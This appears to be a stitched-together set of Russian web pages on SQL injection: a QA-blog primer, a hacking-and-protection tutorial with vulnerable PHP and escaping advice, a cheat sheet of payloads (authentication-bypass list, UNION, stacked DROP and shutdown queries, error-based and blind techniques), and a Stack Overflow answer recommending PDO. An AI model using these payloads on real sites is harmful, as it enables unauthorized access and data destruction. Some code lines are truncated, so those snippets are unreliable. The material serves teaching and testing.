Как тестировать SQL-инъекции
В ходе тестирования приложений тестировщик должен убедиться, что выполняются все требования к ПО. В частности – безопасность от возможного применения SQL-инъекций. Что это такое – давайте разбираться.
Тестировщик » QA-блог » Прочее » Как тестировать SQL-инъекции
5 месяцев назад 0 836
Проверка устойчивости приложений перед SQL-инъекциями
Все мы имеем опыт регистрации в Интернет-приложениях. Обычно программное обеспечение следит за тем, чтобы пользователи не могли вводить некорректные данные – например, недопустимые символы. Также в приложении может быть запрещено использовать кириллические буквы вместо латинских.
Но в качественном софте также реализуется и проверка на возможность SQL-инъекций. Дело в том, что злоумышленники могут воспользоваться полями ввода, чтобы внести туда специальную команду на SQL-языке и похитить конфиденциальные данные.
Что такое SQL
SQL (Structured Query Language, «Язык структурированных запросов») — это язык программирования для создания, модификации и управления запросами к базе данных (БД). Поэтому, если разработанное приложение включает в себя БД и, соответственно, механизм взаимодействия с ней, то с помощью SQL-запросов можно:
- Получать имеющиеся в БД данные;
- Добавлять в БД новые записи;
- Редактировать имеющуюся в БД информацию;
- Удалять данные из БД;
- Менять структуру таблиц данных в БД;
- Создавать новые таблицы.
Как работает SQL
SQL работает через направление запросов к БД. Например:
- Select – выбрать запись в БД;
- Insert into – вставить данные;
- Create table – создать таблицу;
- Drop table – удалить таблицу с указанным именем.
Эти команды применимы, естественно, для тех приложений, у которых система управления базами данных (СУБД) сделана на SQL, например: MySQL, PostgreSQL, MSSQL. Указанные СУБД довольно часто используются в разработке сайтов благодаря своей простоте. Однако, как мы сейчас выясним, эта простота имеет и обратную сторону: небрежность в коде может повлечь утечку или потерю данных в ПО.
Как работает SQL-инъекция
В случае SQL-инъекции злоумышленник может через поле ввода данных ввести SQL-запрос, а движок приложения обработать его. При этом SQL-запрос может содержать команду и на выдачу уже имеющихся данных, и на добавление новых, и на их изменение, и даже на удаление.
Получается, что в код как бы «впрыскивают» зловредный компонент, поэтому такой тип уязвимости называют инъекциями. Это уязвимость на стороне сервера.
Пример SQL-инъекции
Допустим, наш сайт запрашивает у пользователя id (идентификатор) товара, затем в таблице GOODS ищет запись с этим id и выдает найденные данные. Если это закодировать, например, в PHP, то будет выглядеть так:
$id = $REQUEST[‘id’]; $q = “select * from GOODS where >Предполагается, что клиент в id запишет натуральное число. Однако, злоумышленник может прислать не число, а специальную последовательность символов, например:
1; drop table GOODS
И тогда первоначальный код превратится в следующее:
select * from GOODS where drop table GOODS
Дело в том, что SQL-команды могут разделяться точкой с запятой, поэтому СУБД на SQL прочитает это и выполнит как 2 отдельных команды:
select * from GOODS where >
drop table GOODS
И если первая из них безобидная, то вторая – удалит всю таблицу GOODS.
Как тестировщик может проверить ПО на SQL-инъекции
Тестировщик может протестировать уязвимость софта перед SQL-инъекциями, пробуя ввести в поле ввода символы-маркеры SQL-языка, например:
Если приложение «съело» такие данные и ничего не ответило – есть вероятность того, что у него нет защиты от SQL-инъекций. Об этом надо сообщить программистам, они сами разберутся, в чем дело.
Резюме
SQL-инъекции – это злонамеренный запрос к БД приложения. Она может повлечь изменение и/или потерю данных на сервере. Тестировщики проверяют ПО на возможность SQL-инъекций, вводя символы-маркеры этого языка запросов.

Автор Михаил Кулешов
Михаил, профессиональный партнерский маркетолог, является основателем компании South Media OÜ, которая была создана в 2018 году и базируется в Таллинне. С 2016 года Михаил уехал из Финляндии и жил как настоящий «цифровой кочевник» в IT-индустрии, путешествуя по миру только с ноутбуком. Михаил работает и пишет статьи, связанные с IT-индустрией.
SQL инъекции. Проверка, взлом, защита
SQL инъекция — это один из самых доступных способов взлома сайта.
Суть таких инъекций – внедрение в данные (передаваемые через GET, POST запросы или значения Cookie) произвольного SQL кода. Если сайт уязвим и выполняет такие инъекции, то по сути есть возможность творить с БД (чаще всего это MySQL) что угодно.
Как вычислить уязвимость, позволяющую внедрять SQL инъекции?
Довольно легко. Например, есть тестовый сайт test.ru. На сайте выводится список новостей, с возможностью детального просомтра. Адрес страницы с детальным описанием новости выглядит так: test.ru/?detail=1. Т.е через GET запрос переменная detail передаёт значение 1 (которое является идентификатором записи в табице новостей).
Изменяем GET запрос на ?detail=1′ или ?detail=1″ . Далее пробуем передавать эти запросы серверу, т.е заходим на test.ru/?detail=1′ или на test.ru/?detail=1″.
Если при заходе на данные страницы появляется ошибка, значит сайт уязвим на SQL инъекции.

Пример ошибки, возникающей при проверке уязвимости
Возможные SQL инъекции (SQL внедрения)
1) Наиболее простые — сворачивание условия WHERE к истиностному результату при любых значениях параметров.
2) Присоединение к запросу результатов другого запроса. Делается это через оператор UNION.
3) Закомментирование части запроса.
Практика. Варианты взлома сайта с уязвимостью на SQL внедрения
Итак, у нас есть уже упоминавшийся сайт test.ru. В базе хранится 4 новости, 3 из которых выводятся. Разрешение на публикацию новости зависит от парметра public (если параметр содержит значение 1, то новость публикуется).

Список новостей, разрешённых к публикации

При обращении к странице test.ru/?detail=4, которая должна выводить четвёртую новость появляется ошибка – новость не найдена.
В нашем случае новость существует, но она запрещена к публикации.
Но так как мы уже проверяли сайт на уязвимость и он выдавал ошибку БД, то пробуем перебирать возможные варианты запросов.
В адресной строке плюс (+) выполняет роль пробела, так что не пугайтесь

В итоге удача улыбнулась и два запроса (первый и третий) вернули нам детальное описание четвёртой новости
Разбор примера изнутри
За получение детального описания новости отвечает блок кода:
$detail_id=$_GET[‘detail’];
$zapros=»SELECT * FROM `$table_news` WHERE `public`=’1′ AND `id`=$detail_id ORDER BY `position` DESC»;
Мало того, что $detail_id получает значение без какой либо обработки, так ещё и конструкция `id`=$detail_id написана криво, лучше придерживаться `id`=’$detail_id’ (т.е сравниваемое значение писать в прямых апострофах).
Глядя на запрос, получаемый при обращении к странице через test.ru/?detail=4+OR+1
SELECT * FROM `news` WHERE `public`=’1′ AND `id`=4 OR 1 ORDER BY `position` DESC
становится не совсем ясно, почему отобразилась 4-ая новость. Дело в том, что запрос вернул все записи из таблицы новостей, отсортированные в порядке убывания сверху. И таким образом наша 4-ая новость оказалась самой первой, она же и вывелась как детальная. Т.е просто совпадение.
Разбираем запрос, сформированный при обращении через test.ru/?detail=4+UNION+SELECT+*+FROM+news+WHERE+id=4 .
Тут название таблицы с новостями (в нашем случае это news) бралось логическим перебором.
Итак, выполнился запрос SELECT * FROM `news` WHERE `public`=’1′ AND `id`=4 UNION SELECT * FROM news WHERE ORDER BY `position` DESC . К нулевому результату первой части запроса (до UNION) присоединился результат второй части (после UNION), вернувшей детальное описание 4-ой новости.
Защита от SQL инъекций (SQL внедрений)
Защита от взлома сводится к базовому правилу «доверяй, но проверяй». Проверять нужно всё – числа, строки, даты, данные в специальных форматах.
Числа
Для проверки переменной на числовое значение используется функция is_numeric(n);, которая вернёт true, если параметр n — число, и false в противном случае.
Так же можно не проверять значение на число, а вручную переопределить тип. Вот пример, переопределяющий значение $id, полученное от $_GET[‘id_news’] в значение целочисленного типа (в целое число):
$id=(int)$_GET[‘id_news’];
Строки
Большинство взломов через SQL происходят по причине нахождения в строках «необезвреженных» кавычек, апострофов и других специальных символов. Для такого обезвреживания нужно использовать функцию addslashes($str);, которая возвращает строку $str с добавленным обратным слешем (\) перед каждым специальным символом. Данный процесс называется экранизацией.
$a=»пример текста с апострофом ‘ «;
echo addslashes($a); //будет выведено: пример текста с апострофом \’
Кроме этого существуют две функции, созданные именно для экранизации строк, используемых в SQL выражениях.
Это mysql_escape_string($str); и mysql_real_escape_string($str);.
Первая не учитывает кодировку соединения с БД и может быть обойдена, а вот вторая её учитывает и абсолютно безопасна. mysql_real_escape_string($str); возвращает строку $str с добавленным обратным слешем к следующим символам: \x00, \n, \r, \, ‘, » и \x1a .
Магические кавычки
Магические кавычки – эффект автоматической замены кавычки на обратный слэш (\) и кавычку при операциях ввода/вывода. В некоторых конфигурациях PHP этот параметр включён, а в некоторых нет. Для того, что бы избежать двойного экранизирования символов и заэкранизировать данные по-нормальному через mysql_real_escape_string($str);, необходимо убрать автоматические проставленные обратные слеши (если магические кавычки включены).
Проверка включённости магических кавычек для данных получаемых из GET, POST или Куков организуется через функцию get_magic_quotes_gpc(); (возвращает 1 – если магические кавычки включены, 0 – если отключены).
Если магические кавычки вкючены (т.е обратные слеши добавляеются) и такое встречается чаще, то их нужно убрать. Это делается через функцию stripslashes($str); (возвращает строку $str без обратных слешей у кавычек и прямых апострофов).
В закючении привожу код с полной экранизацией строк для записи в БД
if(get_magic_quotes_gpc()==1)
$element_title=stripslashes(trim($_POST[«element_title»]));
$element_text=stripslashes(trim($_POST[«element_text»]));
$element_date=stripslashes(trim($_POST[«element_date»]));
>
else
$element_title=trim($_POST[«element_title»]);
$element_text=trim($_POST[«element_text»]);
$element_date=trim($_POST[«element_date»]);
>
$element_title=mysql_real_escape_string($element_title);
$element_text=mysql_real_escape_string($element_text);
$element_date=mysql_real_escape_string($element_date);
Статья была подготовлена на основе практических навыков по защите веб-систем. Теория дело хорошее, но практика важнее и главное она работает.
Как проверить сайт на sql инъекции

userName = getRequestString("UserName"); request = "SELECT * FROM Users WHERE UserName = " + userName;
Представляя такой антипример, можно понять принцип действия атак, которые мы рассмотрим ниже.
Комментирование
Использование однострочных комментариев позволяет игнорировать часть запроса, идущую после вашей инъекции. Например, ввод в уязвимое поле Username запроса admin’— позволит зайти на ресурс под администратором, потому что поверка пароля будет закомментирована. Конечно, сейчас такой тип уязвимости встречается очень редко, но помнить о ней стоит.
SELECT * FROM members WHERE username = 'admin'--' AND password = 'password'
Многострочные комментарии могут справится с проверкой или определить тип базы данных. Например, подобные запросы обойдут примитивный текстовый анализ:
DROP/*some comment*/sampletable DR/**/OP/*random comment to cheat*/sampletable
А некоторые особые комментарии позволят определить тип базы данных в целях дальнейшей эксплуатации уязвимостей:
/*!Если поместить код в такой комментарий - он будет исполнен только в MYSQL. Можно даже ограничить минимальную версию*/ такой запрос вернёт ошибку деления на ноль, если MYSQL сервер выше указанной версии SELECT /*!!50100 1/0, */ 1 FROM tablename
Манипуляции со строками
Существует ряд более продвинутых способов обходить черные списки. Например, против фильтра кавычек можно использовать конкатенацию строк:
#SQL Server SELECT login + '-' + password FROM members #MySQL SELECT CONCAT(login, password) FROM members
В MySQL для обхода сложных паттернов можно представлять строки в шеснадцатиричном виде, с помощью функции HEX() или вводить их посимвольно:
//0x633A5C626F6F742E696E69 == c:\boot.ini SELECT CONCAT('0x','633A5C626F6F742E696E69')) SELECT CONCAT(CHAR(75),CHAR(76),CHAR(77))
Обход аутентификации
Есть стандартный словарь, содержащий в себе основные запросы, для обхода уязвимой формы аутентификации. Впервые его опубликовали лет 10 назад и регулярно дополняют. Не забудьте прогнать через него формы регистрации на своем сайте:
' or 1=1 ' or 1=1-- ' or 1=1# ' or 1=1/* admin' -- admin' # admin'/* admin' or '1'='1 admin' or '1'='1'-- admin' or '1'='1'# admin' or '1'='1'/* admin'or 1=1 or ''=' admin' or 1=1 admin' or 1=1-- admin' or 1=1# admin' or 1=1/* admin') or ('1'='1 admin') or ('1'='1'-- admin') or ('1'='1'# admin') or ('1'='1'/* admin') or '1'='1 admin') or '1'='1'-- admin') or '1'='1'# admin') or '1'='1'/* 1234 ' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055 admin" -- admin" # admin"/* admin" or "1"="1 admin" or "1"="1"-- admin" or "1"="1"# admin" or "1"="1"/* admin"or 1=1 or ""=" admin" or 1=1 admin" or 1=1-- admin" or 1=1# admin" or 1=1/* admin") or ("1"="1 admin") or ("1"="1"-- admin") or ("1"="1"# admin") or ("1"="1"/* admin") or "1"="1 admin") or "1"="1"-- admin") or "1"="1"# admin") or "1"="1"/* 1234 " AND 1=0 UNION ALL SELECT "admin", "81dc9bdb52d04dc20036dbd8313ed055
Union injection
UNION это SQL-команда, позволяющая вертикально комбинировать данные из разных таблиц в одну. Это одна из самых популярных и опасных классических инъекций.
Допустим, на сайте есть список товаров с уязвимой строкой поиска. Тогда, подобрав правильное количество колонок и определив их название, через UNION можно вывести практически любые данные.
SELECT name, price FROM products UNION ALL SELECT name, pass FROM members #Такой запрос позволит получить данные о таблицах и найти таблицу пользователей UNION(SELECT TABLE_NAME, TABLE_SCHEMA FROM information_schema.tables)
Последовательные запросы
Если целевой сервис работает на SQL Server и ASP/PHP, либо на PostgreSQL и PHP, можно использовать простой знак ‘;’ для последовательного вызова вредоносных запросов:
#Удаление таблицы SELECT * FROM products WHERE productName = ""; DROP users-- #Выключение SQL Server SELECT * FROM products WHERE productName = ""; shutdown –
Возможный урон
Конкретных примеров и нюансов довольно много, не будем перечислять все. Главное, помните, что комбинируя эти приёмы и различные специфические функции, атакующий может получить полный доступ к базе и даже командной строке.
Error-Based
Чтобы побороть этот тип атак, достаточно запретить вывод ошибок на проде. Тем не менее, давайте на примере разберем, чем вам может грозить игнорирование этой меры.
Последовательное выполнение следующих запросов к SQL Server, позволит определить в тексте ошибки названия столбцов:
' HAVING 1=1 -- ' GROUP BY table.columnfromerror1 HAVING 1=1 -- ' GROUP BY table.columnfromerror1, columnfromerror2 HAVING 1=1 -- . ' GROUP BY table.columnfromerror1, columnfromerror2, columnfromerror(n) HAVING 1=1 -- Если ошибки перестали появляться, значит столбцы закончились
Слепые инъекции
В более-менее хорошо сделанном приложении атакующий не увидите ни ошибок, ни результата UNION-атаки. Тут приходит очередь действовать вслепую.
Условные выражения
Атаки с использованием IF и WHERE – основа слепого метода. Они являются одной из причин, почему используемые вами операторы должны быть закодированы в программе, а не генерироваться абы как. Синтаксис для разных баз будет отличаться:
#MySQL IF(condition,true-part,false-part) #SQL Server IF condition true-part ELSE false-part #Oracle BEGIN IF condition THEN true-part; ELSE false-part; END IF; END; #PostgreSQL SELECT CASE WHEN condition THEN true-part ELSE false-part END;
Boolean-based
Если атакующий все же может получить информацию о наличии или отсутствии ошибки из HTTP-статуса, в сервисе имеется уязвимость к обычной слепой атаке. Рассмотрим запрос, который позволит нам при помощи алгоритма бинарного поиска посимвольно определить название первой таблицы и в дальнейшем всех данных:
TRUE : SELECT ID, Username, Email FROM [User]WHERE AND ISNULL(ASCII(SUBSTRING((SELECT TOP 1 name FROM sysObjects WHERE xtYpe=0x55 AND name NOT IN(SELECT TOP 0 name FROM sysObjects WHERE xtYpe=0x55)),1,1)),0)>78-- #Этот запрос говорит нам, что ASCII-значение первого символа больше 78 #дальнейший перебор определит точное значение
Time-Based
Если атакующий не наблюдает никаких отличий в ответах сервера, остается полностью слепая атака. Примером будет использование функций SLEEP или WAIT FOR DALAY:
SELECT * FROM products WHERE WAIT FOR DELAY '00:00:15'
Конечно, реальные примеры будут выглядеть примерно как boolean-based, только true и false атакующий будет отличать по времени отклика. Недостатки такого метода очевидны. Если выбрать слишком маленькую задержку, будет сильное влияние сторонних факторов типа пинга. Если слишком большую – атака займет очень много времени и её, скорее всего, остановят.
Конечно, по SQLi можно писать целые книги, но мы постарались объяснить ключевые принципы с примерами.
Проверка сайта на SQL-Инъекцию
Вот уже почти закончил свой сайт. Но не хочу допустить прошлых ошибок взлома и поэтому хотел бы уточнить, существует ли такая программа для сканера сайта на SQL-Инъекции, хочу проверить свой сайт. Дабы кто-то не хороший в него залез. Заранее благодарен.
Отслеживать
задан 25 янв 2013 в 19:39
488 1 1 золотой знак 11 11 серебряных знаков 34 34 бронзовых знака
1 ответ 1
Сортировка: Сброс на вариант по умолчанию
- используйте PDO (Почему стоит пользоваться PDO для работы с базой данных);
- при обращении к БД, приводите данные к соответствующему типу.
Дополнительно, как защититься от XSS (думаю, пригодится):
- определиться с зоной доверия переменных;
- санитизация request-ов ( $_POST , $_GET , $_COOKIE , $_SERVER -переменные с пометкой HTTP_. — те, что приходят от клиента, к примеру, $_SERVER(‘HTTP_USER_AGENT’) ) — в идеале, написать свой класс-обёртку;
- использование bb-логики (bbCode) для входных данных;
- сантизация данных на выходе (опционально).
Если требуется для входных данных использовать всё-таки html-сущности(разметку), то существуют два неплохих инструмента (учитывайте их «тяжёлость»):
- jevix (актуальной поддерживается лишь версия на perl-е) + типограф;
- HTML Purifier
Отслеживать
ответ дан 25 янв 2013 в 19:43
5,068 16 16 серебряных знаков 30 30 бронзовых знаков
+1, PDO раз и навсегда уничтожает инъекции.
25 янв 2013 в 20:01
-
Важное на Мете
Похожие
Подписаться на ленту
Лента вопроса
Для подписки на ленту скопируйте и вставьте эту ссылку в вашу программу для чтения RSS.
Дизайн сайта / логотип © 2023 Stack Exchange Inc; пользовательские материалы лицензированы в соответствии с CC BY-SA . rev 2023.11.15.1019
Нажимая «Принять все файлы cookie» вы соглашаетесь, что Stack Exchange может хранить файлы cookie на вашем устройстве и раскрывать информацию в соответствии с нашей Политикой в отношении файлов cookie.
